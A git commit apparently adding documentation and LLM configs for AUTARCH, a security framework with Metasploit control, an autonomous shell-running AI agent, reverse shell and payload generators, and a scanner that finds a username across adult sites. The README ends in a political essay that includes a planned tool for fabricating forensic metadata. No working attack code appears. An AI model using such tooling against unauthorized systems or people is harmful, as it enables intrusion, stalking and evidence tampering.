Autarch Will Control The Internet

This commit is contained in:
DigiJ
2026-03-13 15:17:15 -07:00
commit 4d3570781e
401 changed files with 484494 additions and 0 deletions

46
.config/amd_rx6700xt.conf Normal file
View File

@@ -0,0 +1,46 @@
# AUTARCH LLM Configuration Template
# Hardware: AMD Radeon RX 6700 XT (12GB VRAM)
# Optimized for: GPU inference with ROCm/HIP support
#
# This configuration is optimized for AMD GPUs using ROCm.
# The RX 6700 XT has 12GB VRAM, excellent for 7B-13B models.
# Requires ROCm drivers and PyTorch with ROCm support.
[llama]
# GGUF Model Settings (llama.cpp)
# Note: llama.cpp requires HIP/ROCm build for AMD GPU support
# Build with: CMAKE_ARGS="-DLLAMA_HIPBLAS=on" pip install llama-cpp-python
model_path =
n_ctx = 8192
n_threads = 8
n_gpu_layers = -1
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 4096
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
# ROCm uses 'cuda' device identifier in PyTorch
model_path =
device = cuda
torch_dtype = float16
load_in_8bit = false
load_in_4bit = false
trust_remote_code = false
max_tokens = 4096
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# Notes:
# - 12GB VRAM allows running 13B models at float16
# - For 33B+ models, enable load_in_4bit = true
# - ROCm support requires specific PyTorch version:
# pip install torch --index-url https://download.pytorch.org/whl/rocm5.6
# - llama.cpp needs HIP build for GPU acceleration
# - If GPU not detected, falls back to CPU (check ROCm installation)
# - n_ctx = 8192 works well with 12GB VRAM

View File

@@ -0,0 +1,41 @@
# AUTARCH LLM Configuration Template
# Hardware: NVIDIA GeForce RTX 4070 Mobile (8GB VRAM)
# Optimized for: GPU inference with good VRAM management
#
# This configuration balances performance and memory usage for mobile RTX 4070.
# The 4070 Mobile has 8GB VRAM, suitable for 7B models at full precision
# or 13B models with quantization.
[llama]
# GGUF Model Settings (llama.cpp)
model_path =
n_ctx = 8192
n_threads = 8
n_gpu_layers = -1
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 4096
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
model_path =
device = cuda
torch_dtype = float16
load_in_8bit = false
load_in_4bit = false
trust_remote_code = false
max_tokens = 4096
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# Notes:
# - n_gpu_layers = -1 offloads all layers to GPU
# - For 13B+ models, enable load_in_4bit = true
# - float16 is optimal for RTX 4070
# - n_ctx = 8192 uses ~2GB VRAM overhead
# - Reduce n_ctx to 4096 if running out of VRAM

View File

@@ -0,0 +1,46 @@
# AUTARCH LLM Configuration Template
# Hardware: Orange Pi 5 Plus (RK3588 SoC, 8-core ARM, 16GB RAM)
# Optimized for: CPU-only inference on ARM64
#
# This configuration is optimized for the Orange Pi 5 Plus running
# CPU-only inference. The RK3588 has 4x Cortex-A76 + 4x Cortex-A55 cores.
# Best with quantized GGUF models (Q4_K_M or Q5_K_M).
[llama]
# GGUF Model Settings (llama.cpp)
# Recommended: Use Q4_K_M or Q5_K_M quantized models
model_path =
n_ctx = 2048
n_threads = 4
n_gpu_layers = 0
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 1024
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
# Note: CPU inference is slow with transformers, GGUF recommended
model_path =
device = cpu
torch_dtype = float32
load_in_8bit = false
load_in_4bit = false
trust_remote_code = false
max_tokens = 1024
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# Notes:
# - n_threads = 4 uses only the fast A76 cores (better perf than all 8)
# - n_ctx = 2048 balances memory usage and capability
# - n_gpu_layers = 0 for pure CPU inference
# - Strongly recommend GGUF Q4_K_M models for best speed
# - 7B Q4 models use ~4GB RAM, leaving room for system
# - max_tokens = 1024 keeps generation times reasonable
# - For transformers: CPU with float32 is slow but works
# - Avoid 13B+ models unless heavily quantized

View File

@@ -0,0 +1,67 @@
# AUTARCH LLM Configuration Template
# Hardware: Orange Pi 5 Plus with ARM Mali-G610 MP4 GPU
# Status: EXPERIMENTAL - Mali GPU support for LLMs is limited
#
# WARNING: This configuration is experimental!
# The Mali-G610 GPU has limited LLM support. Most frameworks
# fall back to CPU. This config attempts to leverage what GPU
# acceleration is available.
[llama]
# GGUF Model Settings (llama.cpp)
# Note: llama.cpp OpenCL backend may provide some acceleration
# Build with: CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python
# Requires: libclblast-dev, opencl-headers, ocl-icd-opencl-dev
model_path =
n_ctx = 2048
n_threads = 4
n_gpu_layers = 8
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 1024
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
# Note: PyTorch has experimental Vulkan backend for mobile GPUs
# This is highly experimental and may not work
model_path =
device = cpu
torch_dtype = float32
load_in_8bit = false
load_in_4bit = true
trust_remote_code = false
max_tokens = 1024
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# EXPERIMENTAL NOTES:
#
# Mali-G610 GPU Support Status:
# - OpenCL: Partial support via CLBlast, may accelerate some layers
# - Vulkan: PyTorch vulkan backend is experimental
# - Direct Mali: No native support in major LLM frameworks
#
# To enable OpenCL acceleration for llama.cpp:
# 1. Install dependencies:
# sudo apt install libclblast-dev opencl-headers ocl-icd-opencl-dev
# 2. Install Mali OpenCL driver (if available for your distro)
# 3. Rebuild llama-cpp-python with CLBlast:
# CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python --force-reinstall
#
# n_gpu_layers = 8: Offloads only some layers (conservative)
# - Increase if stable, decrease if crashes
# - Set to 0 if OpenCL not working
#
# For transformers:
# - load_in_4bit = true reduces memory pressure
# - CPU inference is the reliable fallback
#
# Performance Expectations:
# - Best case: 20-30% speedup over pure CPU
# - Likely case: Similar to CPU or unstable
# - Use orangepi5plus_cpu.conf for stable operation

86
.gitignore vendored Normal file
View File

@@ -0,0 +1,86 @@
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
*.egg-info/
*.egg
# Virtual environments
venv/
.venv/
env/
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# Data & databases (regenerated at runtime)
data/cve/*.db
data/sites/*.db
data/uploads/
data/hardware/
# Large files
models/
*.gguf
claude.bk
*.mtf
# Results (user-generated)
results/
dossiers/
# OSINT scan results
*_profiles.json
# Secrets & config with credentials
.env
*.pem
*.key
# Node
node_modules/
# Gradle
.gradle/
gradle-*/
# Bundled tools (large binaries)
tools/
# Android SDK tools (bundled binaries)
android/
# Build artifacts
dist/
build/
build_temp/
release/
*.spec.bak
*.zip
# Local utility scripts
kill_autarch.bat
# OS files
.DS_Store
Thumbs.db
# Claude Code
.claude/
# Development planning docs
phase2.md
# Snoop data
snoop/
data/sites/snoop_full.json
# Custom user data (optional - users may want to track these)
# custom_adultsites.json
# custom_sites.inf
# custom_apis.json

588
GUIDE.md Normal file
View File

@@ -0,0 +1,588 @@
# AUTARCH User Guide
## Project Overview
**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**.
### What We Built
AUTARCH is a modular Python security framework featuring:
- **LLM Integration** - Local AI via llama.cpp for autonomous assistance
- **Autonomous Agent** - AI agent that can execute tools and complete tasks
- **Metasploit Integration** - Direct MSF RPC control from within the framework
- **Modular Architecture** - Plugin-based system for easy extension
- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate
---
## Project Structure
```
dh_framework/
├── autarch.py # Main entry point
├── autarch_settings.conf # Configuration file
├── custom_adultsites.json # Custom adult sites storage
├── custom_sites.inf # Bulk import file
├── DEVLOG.md # Development log
├── GUIDE.md # This guide
├── core/ # Core framework modules
│ ├── __init__.py
│ ├── agent.py # Autonomous AI agent
│ ├── banner.py # ASCII banner and colors
│ ├── config.py # Configuration handler
│ ├── llm.py # LLM wrapper (llama-cpp-python)
│ ├── menu.py # Main menu system
│ ├── msf.py # Metasploit RPC client
│ └── tools.py # Agent tool registry
└── modules/ # User-facing modules
├── __init__.py
├── setup.py # First-time setup wizard
├── chat.py # Interactive LLM chat (core)
├── agent.py # Agent interface (core)
├── msf.py # Metasploit interface (offense)
├── defender.py # System hardening (defense)
├── counter.py # Threat detection (counter)
├── analyze.py # Forensics tools (analyze)
├── recon.py # OSINT reconnaissance (osint)
├── adultscan.py # Adult site scanner (osint)
└── simulate.py # Attack simulation (simulate)
```
---
## Installation & Setup
### Requirements
- Python 3.8+
- llama-cpp-python (pre-installed)
- A GGUF model file for LLM features
- Metasploit Framework (optional, for MSF features)
### First Run
```bash
cd /home/snake/dh_framework
python autarch.py
```
On first run, the setup wizard automatically launches with options:
1. **Configure LLM** - Set up model for chat & agent features
2. **Skip Setup** - Use without LLM (most modules still work)
### Running Without LLM
Many modules work without an LLM configured:
```bash
# Skip setup on first run
python autarch.py --skip-setup
```
**Modules that work without LLM:**
- defender (Defense) - System hardening checks
- counter (Counter) - Threat detection
- analyze (Analyze) - File forensics
- recon (OSINT) - Email, username, domain lookup
- adultscan (OSINT) - Adult site scanner
- simulate (Simulate) - Port scan, payloads
- msf (Offense) - Metasploit interface
**Modules that require LLM:**
- chat - Interactive LLM chat
- agent - Autonomous AI agent
You can configure LLM later with `python autarch.py --setup`
---
## Command Line Interface
### Basic Usage
```bash
python autarch.py [OPTIONS] [COMMAND]
```
### Options
| Option | Description |
|--------|-------------|
| `-h, --help` | Show help message and exit |
| `-v, --version` | Show version information |
| `-c, --config FILE` | Use alternate config file |
| `--skip-setup` | Skip first-time setup (run without LLM) |
| `-m, --module NAME` | Run a specific module directly |
| `-l, --list` | List all available modules |
| `--setup` | Force run the setup wizard |
| `--no-banner` | Suppress the ASCII banner |
| `-q, --quiet` | Minimal output mode |
### Commands
| Command | Description |
|---------|-------------|
| `chat` | Start interactive LLM chat |
| `agent` | Start the autonomous agent |
| `scan <target>` | Quick port scan |
| `osint <username>` | Quick username OSINT |
### Examples
```bash
# Show help
python autarch.py --help
# Run a specific module
python autarch.py -m chat
python autarch.py -m adultscan
# List all modules
python autarch.py --list
# Quick OSINT scan
python autarch.py osint targetuser
# Re-run setup
python autarch.py --setup
```
---
## Main Menu Navigation
### Menu Structure
```
Main Menu
──────────────────────────────────────────────────
[1] Defense - Defensive security tools
[2] Offense - Penetration testing
[3] Counter - Counter-intelligence
[4] Analyze - Analysis & forensics
[5] OSINT - Open source intelligence
[6] Simulate - Attack simulation
[99] Settings
[98] Exit
```
### Category Details
#### [1] Defense
System hardening and defensive security:
- Full Security Audit
- Firewall Check
- SSH Hardening
- Open Ports Scan
- User Security Check
- File Permissions Audit
- Service Audit
#### [2] Offense
Penetration testing with Metasploit:
- Search Modules
- Use/Configure Modules
- Run Exploits
- Manage Sessions
- Console Commands
- Quick Scanners
#### [3] Counter
Counter-intelligence and threat hunting:
- Full Threat Scan
- Suspicious Process Detection
- Network Analysis
- Login Anomalies
- File Integrity Monitoring
- Scheduled Task Audit
- Rootkit Detection
#### [4] Analyze
Forensics and file analysis:
- File Analysis (metadata, hashes, type)
- String Extraction
- Hash Lookup (VirusTotal, Hybrid Analysis)
- Log Analysis
- Hex Dump Viewer
- File Comparison
#### [5] OSINT
Open source intelligence gathering:
- **recon.py** - Email, username, phone, domain, IP lookup
- **adultscan.py** - Adult site username scanner
#### [6] Simulate
Attack simulation and red team:
- Password Audit
- Port Scanner
- Banner Grabber
- Payload Generator (XSS, SQLi, etc.)
- Network Stress Test
---
## Module Reference
### Core Modules
#### chat.py - Interactive Chat
```
Category: core
Commands:
/help - Show available commands
/clear - Clear conversation history
/history - Show conversation history
/info - Show model information
/system - Set system prompt
/temp - Set temperature
/tokens - Set max tokens
/stream - Toggle streaming
/exit - Exit chat
```
#### agent.py - Autonomous Agent
```
Category: core
Commands:
tools - Show available tools
exit - Return to main menu
help - Show help
Available Tools:
shell - Execute shell commands
read_file - Read file contents
write_file - Write to files
list_dir - List directory contents
search_files - Glob pattern search
search_content - Content search (grep)
task_complete - Signal completion
ask_user - Request user input
msf_* - Metasploit tools
```
### OSINT Modules
#### recon.py - OSINT Reconnaissance
```
Category: osint
Version: 2.0
Menu:
Email
[1] Email Lookup
[2] Email Permutator
Username
[3] Username Lookup (17+ platforms)
[4] Social Analyzer integration
Phone
[5] Phone Number Lookup
Domain/IP
[6] Domain Recon
[7] IP Address Lookup
[8] Subdomain Enumeration
[9] Technology Detection
```
#### adultscan.py - Adult Site Scanner
```
Category: osint
Version: 1.3
Menu:
Scan Categories:
[1] Full Scan (all categories)
[2] Fanfiction & Story Sites
[3] Art & Creative Sites
[4] Video & Streaming Sites
[5] Forums & Communities
[6] Dating & Social Sites
[7] Gaming Related Sites
[8] Custom Sites Only
[9] Custom Category Selection
Site Management:
[A] Add Custom Site (manual)
[D] Auto-Detect Site Pattern
[B] Bulk Import from File
[M] Manage Custom Sites
[L] List All Sites
Sites Database: 50+ built-in sites
Categories: fanfiction, art, video, forums, dating, gaming, custom
```
##### Adding Custom Sites
**Manual Add [A]:**
```
Site name: MySite
URL pattern (use * for username): mysite.com/user/*
Detection Method: [1] Status code
```
**Auto-Detect [D]:**
```
Domain: example.com
Test username: knownuser
(System probes 17 common patterns)
```
**Bulk Import [B]:**
1. Edit `custom_sites.inf`:
```
# One domain per line
site1.com
site2.net
site3.org
```
2. Run Bulk Import and provide test username
3. System auto-detects patterns for each domain
---
## Configuration
### Config File: autarch_settings.conf
```ini
[llama]
model_path = /path/to/model.gguf
n_ctx = 4096
n_threads = 4
n_gpu_layers = 0
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 2048
seed = -1
[autarch]
first_run = false
modules_path = modules
verbose = false
[msf]
host = 127.0.0.1
port = 55553
username = msf
password =
ssl = true
```
### LLM Settings
| Setting | Default | Description |
|---------|---------|-------------|
| model_path | (required) | Path to GGUF model file |
| n_ctx | 4096 | Context window size |
| n_threads | 4 | CPU threads for inference |
| n_gpu_layers | 0 | Layers to offload to GPU |
| temperature | 0.7 | Sampling temperature (0.0-2.0) |
| top_p | 0.9 | Nucleus sampling threshold |
| top_k | 40 | Top-K sampling |
| repeat_penalty | 1.1 | Repetition penalty |
| max_tokens | 2048 | Maximum response length |
| seed | -1 | Random seed (-1 = random) |
### Metasploit Settings
| Setting | Default | Description |
|---------|---------|-------------|
| host | 127.0.0.1 | MSF RPC host |
| port | 55553 | MSF RPC port |
| username | msf | RPC username |
| password | (none) | RPC password |
| ssl | true | Use SSL connection |
**Starting msfrpcd:**
```bash
msfrpcd -P yourpassword -S -a 127.0.0.1
```
---
## Creating Custom Modules
### Module Template
```python
"""
Module description here
"""
# Module metadata (required)
DESCRIPTION = "Short description"
AUTHOR = "Your Name"
VERSION = "1.0"
CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
def run():
"""Main entry point - REQUIRED"""
clear_screen()
display_banner()
print(f"{Colors.BOLD}My Module{Colors.RESET}")
# Your code here
if __name__ == "__main__":
run()
```
### Available Colors
```python
from core.banner import Colors
Colors.RED
Colors.GREEN
Colors.YELLOW
Colors.BLUE
Colors.MAGENTA
Colors.CYAN
Colors.WHITE
Colors.BOLD
Colors.DIM
Colors.RESET
```
### Module Categories
| Category | Color | Description |
|----------|-------|-------------|
| defense | Blue | Defensive security |
| offense | Red | Penetration testing |
| counter | Magenta | Counter-intelligence |
| analyze | Cyan | Forensics & analysis |
| osint | Green | Open source intelligence |
| simulate | Yellow | Attack simulation |
| core | White | Core framework modules |
---
## Agent Tools Reference
The autonomous agent has access to these tools:
### File Operations
```
read_file(path) - Read file contents
write_file(path, content) - Write to file
list_dir(path) - List directory
search_files(pattern) - Glob search
search_content(pattern) - Grep search
```
### System Operations
```
shell(command, timeout) - Execute shell command
```
### User Interaction
```
ask_user(question) - Prompt user for input
task_complete(result) - Signal task completion
```
### Metasploit Operations
```
msf_connect() - Connect to MSF RPC
msf_search(query) - Search modules
msf_module_info(module) - Get module info
msf_module_options(module) - Get module options
msf_execute(module, options) - Execute module
msf_sessions() - List sessions
msf_session_command(id, cmd) - Run session command
msf_console(command) - Direct console
```
---
## Troubleshooting
### Common Issues
**LLM not loading:**
- Verify model_path in autarch_settings.conf
- Check file permissions on model file
- Ensure sufficient RAM for model size
**MSF connection failed:**
- Verify msfrpcd is running: `msfrpcd -P password -S`
- Check host/port in settings
- Verify password is correct
**Module not appearing:**
- Ensure module has `CATEGORY` attribute
- Ensure module has `run()` function
- Check for syntax errors
**Adult scanner false positives:**
- Some sites return 200 for all requests
- Use content-based detection for those sites
- Verify with a known username
### Debug Mode
```bash
# Enable verbose output
python autarch.py --verbose
# Check configuration
python autarch.py --show-config
```
---
## Security Notice
AUTARCH is designed for **authorized security testing only**. Users are responsible for:
- Obtaining proper authorization before testing
- Complying with all applicable laws
- Using tools ethically and responsibly
**Do not use for:**
- Unauthorized access
- Harassment or stalking
- Any illegal activities
---
## Version History
| Version | Date | Changes |
|---------|------|---------|
| 1.0 | 2026-01-14 | Initial release |
| 1.1 | 2026-01-14 | Added custom site management |
| 1.2 | 2026-01-14 | Added auto-detect patterns |
| 1.3 | 2026-01-14 | Added bulk import |
---
## Credits
**Project AUTARCH**
By darkHal Security Group and Setec Security Labs
---
*For development history, see DEVLOG.md*

333
README.md Normal file
View File

@@ -0,0 +1,333 @@
```
/\
/ \
/ /\ \
/ /__\ \ _ _ _____ _ ____ ____ _ _
/ /____\ \ | | | | |_ _| / \ | _ \ / ___| | | | |
/ / /\ \ \| | | | | | / _ \ | |_) | | | | |_| |
/ / / \ \ \ | | | | | / ___ \| _ < | |___ | _ |
\/ / \ \/ \__| | | | / / \ \ | \ \ \____| |_| |_|
\_/ \_/\______| |_|/_/ \_\_| \_\ANARCHY IS LIFE
``` LIFE IS ANARCHY
# AUTARCH
**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking**
By **darkHal Security Group** & **Setec Security Labs**
---
## Overview
AUTARCH is a modular security platform combining defensive hardening, offensive testing, forensic analysis, OSINT reconnaissance, and attack simulation into a single web-based dashboard. It features local and cloud LLM integration, an autonomous AI agent, hardware device management over WebUSB, and a companion Android application.
## Features
- **Defense** — System hardening audits, firewall checks, permission analysis, security scoring
- **Offense** — Metasploit & RouterSploit integration, module execution with live SSE streaming
- **Counter** — Threat detection, suspicious process analysis, rootkit checks, network monitoring
- **Analyze** — File forensics, hash toolkit (43 algorithm patterns), hex dumps, string extraction, log analysis
- **OSINT** — Email/username/phone/domain/IP reconnaissance, 7,287+ indexed sites
- **Simulate** — Attack simulation, port scanning, password auditing, payload generation
- **Hardware** — ADB/Fastboot over WebUSB, ESP32 flashing via Web Serial, dual-mode (server + direct)
- **Android Protection** — Anti-stalkerware/spyware shield, signature-based scanning, permission auditing
- **Agent Hal** — Autonomous AI agent with tool use, available as a global chat panel
- **Hash Toolkit** — Hash algorithm identification (hashid-style), file/text hashing, hash mutation, threat intel lookups
- **Enc Modules** — Encrypted module system for sensitive payloads
- **Reverse Shell** — Multi-language reverse shell generator
- **WireGuard VPN** — Tunnel management and remote device access
- **UPnP** — Automated port forwarding
- **Wireshark** — Packet capture and analysis via tshark/pyshark
- **MSF Console** — Web-based Metasploit console with live terminal
- **Debug Console** — Real-time Python logging output with 5 filter modes
## Architecture
```
autarch.py # Main entry point (CLI + web server)
core/ # 25+ Python modules (agent, config, hardware, llm, msf, etc.)
modules/ # 26 loadable modules (defense, offense, counter, analyze, osint, simulate)
web/
app.py # Flask app factory (16 blueprints)
routes/ # 15 route files
templates/ # 16 Jinja2 templates
static/ # JS, CSS, WebUSB bundles
autarch_companion/ # Archon Android app (Kotlin)
data/ # SQLite DBs, JSON configs, stalkerware signatures
```
## Quick Start
### From Source
```bash
# Clone
git clone https://github.com/digijeth/autarch.git
cd autarch
# Install dependencies
pip install -r requirements.txt
# Run
python autarch.py
```
The web dashboard starts at `https://localhost:8080` (self-signed cert).
### Windows Installer
Download `autarch_public.msi` or `autarch_public.exe` from the [Releases](https://github.com/digijeth/autarch/releases) page.
## Configuration
Settings are managed via `autarch_settings.conf` (auto-generated on first run) and the web UI Settings page.
Key sections: `[server]`, `[llm]`, `[msf]`, `[wireguard]`, `[upnp]`, `[hardware]`
### LLM Backends
- **Local** — llama-cpp-python (GGUF models) or HuggingFace Transformers (SafeTensors)
- **Claude** — Anthropic Claude API
- **OpenAI** — OpenAI-compatible API (custom endpoint support)
- **HuggingFace** — HuggingFace Inference API (8 provider options)
## Ports
| Port | Service |
|-------|---------|
| 8080 | Web Dashboard (HTTPS) |
| 8081 | MCP Server (SSE) |
| 17321 | Archon Server (Android companion) |
| 17322 | Reverse Shell Listener |
| 51820 | WireGuard VPN |
## Platform Support
- **Primary:** Linux (Orange Pi 5 Plus, RK3588 ARM64)
- **Supported:** Windows 10/11 (x86_64)
- **WebUSB:** Chromium-based browsers required for Direct mode hardware access
## License
Restricted Public Release. Authorized use only — activity is logged.
## Disclaimer
AUTARCH is a security research and authorized penetration testing platform. Use only on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal. The authors accept no liability for misuse.
---
## A Note from the Author
*This may be the last application I write as my battle against the evilness of the web may be my own downfall. I leave you with this:*
---
### AI and Liberty: Who Gets to Decide?
**By: SsSnake -- Lord of the Abyss --
Artificial intelligence can erode freedoms or strengthen them—the outcome depends on who controls it, and how we respond to it. The people need to remember, if we don't like the laws being passed or how its being used, let your Representatives know, and if they don't listen, replace them. Their job is to represent us. Not make decisions for us. darkHal is an apolitical group and do not support either party. We do not give a shit about your politics, we only care about the 1's and 0's.
Artificial intelligence is often presented as a tool of progress—streamlining services, analyzing massive datasets, and empowering individuals. Yet, like any technology, AI is neutral in essence, except when it is deliberately trained not to be. Its ethical impact depends not only on how it is deployed, but also on who deploys it. When placed in the hands of governments, corporations, or malicious actors, AI systems can be weaponized against the very constitutional rights designed to protect citizens. Understanding these risks is essential if liberty is to be preserved in an increasingly automated world.
One of the main areas of concern lies in the freedom of speech and expression. AI-driven content moderation and recommendation systems, while designed to maintain civility online and recommend material a person may relate to, have the potential to silence dissent and reinforce messages of distrust, hate, and violence. Algorithms, trained to identify harmful or "unsafe" speech, may suppress valid opinions or target certain groups to take their voice away. Citizens who suspect they are being monitored because their posts have been flagged may begin to self-censor, creating a chilling effect that undermines open debate—the cornerstone of American democracy. At the same time, AI-generated deepfakes and manipulated media make it more difficult for the public to separate fact from fiction, creating an environment where truth can be drowned out by manufactured lies. For example, imagine a local election in which a convincing AI-generated video surfaces online showing a candidate making inflammatory remarks they never actually said. Even if the video is later debunked, the damage is already done: news cycles amplify the clip, and social media spreads it widely to millions in a matter of seconds. Voters' trust in the candidate is shaken. The false narrative competes with reality, leaving citizens unsure whom to believe and undermining the democratic process itself. This risk, however, can be mitigated through rapid-response verification systems—such as forcing micro-watermarking in manufactured media at the time of creation, embedded in the pixels, or deploying independent fact-checking networks that can authenticate content before it spreads. Public education campaigns that teach citizens how to identify digital manipulation can also help blunt the impact, ensuring that truth has a fighting chance against falsehoods.
Yet it is worth acknowledging that many of these defenses have been tried before—and they often fall short. Watermarking and authentication tools can be circumvented or stripped away. Fact-checking networks, while valuable, rarely match the speed and reach of viral misinformation. Public education campaigns struggle against the sheer realism of today's generative tools and ignorance of AI capabilities. I still hear people saying that AI cannot create applications on its own, even when the evidence is in front of them. We live in a time where a human voice can be convincingly cloned in less than thirty seconds, and a fifteen-minute training sample can now reproduce not just words but the subtle cues of emotion and tone that even skilled listeners may find impossible to separate from fabrication. This raises a profound question: if any statement can be manufactured and any artifacts explained, how do we defend truth in a world where authentic voices can be replicated and reshaped at will?
Some argue that forcing "guardrails" onto AI systems is the only way to prevent harm. Yet this collides with a deeper constitutional question that we must also consider: do programmers have a First Amendment right to express themselves through source code? In American courts, the answer is yes. The courts have recognized that computer code is a form of speech protected under the First Amendment. In Bernstein v. U.S. Department of State (1999), the Ninth Circuit held that publishing encryption code was protected expression, striking down government attempts to license and restrict its dissemination. The Sixth Circuit echoed this in Junger v. Daley (2000), reinforcing that code is not just functional—it communicates ideas. Earlier battles, from United States v. Progressive, Inc. (1979), where the government unsuccessfully tried to block publication of an article describing how to build a hydrogen bomb, to the Pentagon Papers case (1971), where the Supreme Court rejected government efforts to stop newspapers from printing a classified history of the Vietnam War, established how rarely the state can justify restraining the publication of technical or sensitive information without a direct threat to national security. These cases highlight the judiciary's consistent skepticism toward prior restraint, especially when national security is invoked as justification. Although the current Supreme Court has shown it has no issue favoring the rights of specific groups while abridging the rights of others. It is also no secret courts have been using AI more and more to research and write rulings, with little understanding of how LLMs work.
That same tension between liberty and security also extends beyond speech into the realm of personal privacy. The right to privacy was enshrined in the Fourth Amendment because the framers of the Bill of Rights did not want the government to become like the British crown, empowered to search, seize, and surveil without restraint. AI has enabled exactly that, with the assistance of companies like Google, Meta, and our cellphone providers, who have given real-time access to our location, search history, and everything else our phones collect to anyone who could pay—including the government—regardless of whether they had a warrant. Not that long ago, that realization would have led to mass protests over surveillance. And it did. A government program known as PRISM was exposed, and it was headline news for months. People were outraged for years. But when the news broke about T-Mobile, Verizon, and AT&T selling real-time information to anyone with money, the only ones who got upset were the FTC. Republicans in Congress ranged from being annoyed to furious—at the FTC's "overreaching powers." Only a few cared about the companies themselves, and for specific reasons. The Democrats demanded CEOs answer their questions and called a few hearings, but did nothing. Most people do not even know this happened. The outcome? A fine. This was far worse than PRISM, and nobody cared. With the help of AI, that information has been used to create targeted ads and complete profiles about U.S. citizens that include everything from where you go every day to what kind of underwear you buy.
Sadly, people have become too stupid to realize that once you realize your rights have been stripped away—because they've been used on you or against you—it's too late to do anything. They do not understand that the argument isn't about whether you have something to hide or not, or just accepting it with a shrug—"because that's just how it is." It's about not letting the government erode our rights. Today's tools such as instant-match facial recognition, predictive policing software, and real-time geolocation tracking allow authorities to monitor citizens on a scale once unimaginable except in East Germany—all without a warrant ever being issued. And until the courts make a ruling in the cellphone provider case, it all seems legal as long as it's a private company doing it. When these systems claim to forecast behavior—predicting who might commit a crime or who might pose a security risk—they open the door to pre-emptive action that undermines the presumption of innocence, and they are being relied on more and more. These are systems prone to issues such as daydreaming or agreeing with their user just because.
Some technologists argue that the only way to defend against such surveillance is to fight algorithms with algorithms. One emerging approach is the use of a tool we are planning on releasing: darkHal's "Fourth Amendment Protection Plugin," a system designed not merely to obfuscate, but to actively shield users from AI-driven profiling. Rather than attempting the impossible task of disappearing from the digital landscape, darkHal generates layers of synthetic data—fake GPS coordinates, fabricated browsing histories, fake messages, simulated app usage, and false forensic metadata. By blending authentic activity with thousands of AI-generated content items, it prevents surveillance algorithms from producing reliable conclusions about an individual's behavior or location.
The idea reframes privacy as an act of digital resistance. Instead of passively accepting that AI will map and monitor every action, tools like darkHal inject uncertainty into the system itself. Critics caution that this tactic could complicate legitimate investigations or erode trust in digital records. Yet supporters argue that when the state deploys AI to surveil without warrants or probable cause, citizens may be justified in using AI-driven counter-surveillance tools to defend their constitutional protections. In effect, darkHal embodies a technological assertion of the Fourth Amendment—restoring the principle that people should be secure in their "persons, houses, papers, and effects," even when those papers now exist as data logs and metadata streams.
These tools then create concerns about due process and equal protection under the law. Courts and law enforcement agencies increasingly turn to algorithmic decision-making to guide bail, sentencing, and parole decisions. Police use AI-driven tools to create reports that have zero oversight, with no way to verify if an error in the facts was due to a malfunctioning AI or a dishonest law enforcement officer. According to Ars Technica, some of these models are trained on biased data, reinforcing the very disparities they are meant to reduce. Their reasoning is often hidden inside opaque "black box" systems, leaving defendants and their attorneys unable to challenge or even understand the basis for adverse rulings. In extreme cases, predictive models raise the specter of "pre-crime" scenarios, where individuals are treated as guilty not for what they have done, but for what a machine predicts they might do.
If the courtroom illustrates how AI can erode individual rights, the public square shows how it can chill collective ones. The right to assemble and associate freely is another area where AI can become a tool of control. Advanced computer vision allows drones and surveillance cameras to identify and track participants at protests, while machine learning applied to metadata can map entire networks of activists. Leaders may be singled out and pressured, while participants may face intimidation simply for exercising their right to gather. In some countries, AI-based "social scoring" systems already penalize individuals for their associations, and similar mechanisms could emerge elsewhere—such as in the U.S.—if left unchecked.
The erosion of assembly rights highlights a broader truth: democracy depends not only on the ability to gather and speak, but also on the ability to participate fully in elections. If the public square is vulnerable to AI manipulation, the ballot box is equally at risk. Even the most fundamental democratic right—the right to vote—is not immune. Generative AI makes it easier than ever to flood social media with targeted disinformation, tailoring falsehoods to specific demographics with surgical precision. Automated campaigns can discourage turnout among targeted groups, spread confusion about polling locations or dates, or erode faith in electoral outcomes altogether. If applied to electronic voting systems themselves, AI could exploit vulnerabilities at a scale that would threaten confidence in the legitimacy of elections.
These risks do not mean that AI is inherently incompatible with constitutional democracy. Rather, they highlight the need for deliberate safeguards such as equal access. If the police can monitor us without warrants in ways the founding fathers could not even fathom—but clearly did not want or would approve of—what's to stop them from taking our other rights away based on technology simply because it didn't exist 249 years ago? Transparency laws can give citizens the right to know when AI is being used, how it was trained, and how it arrives at its conclusions. Independent oversight boards and technical audits can ensure accountability in government deployments. But most importantly, humans must retain ultimate judgment in matters of liberty, justice, and political participation. And if citizens are being monitored with these tools, so should law enforcement and, when possible, the military. Finally, promoting access and digital literacy among the public—on how LLMs are created, used, and how to use them—is essential, so that citizens recognize manipulation when they see it and understand the power—and the limits—of these systems.
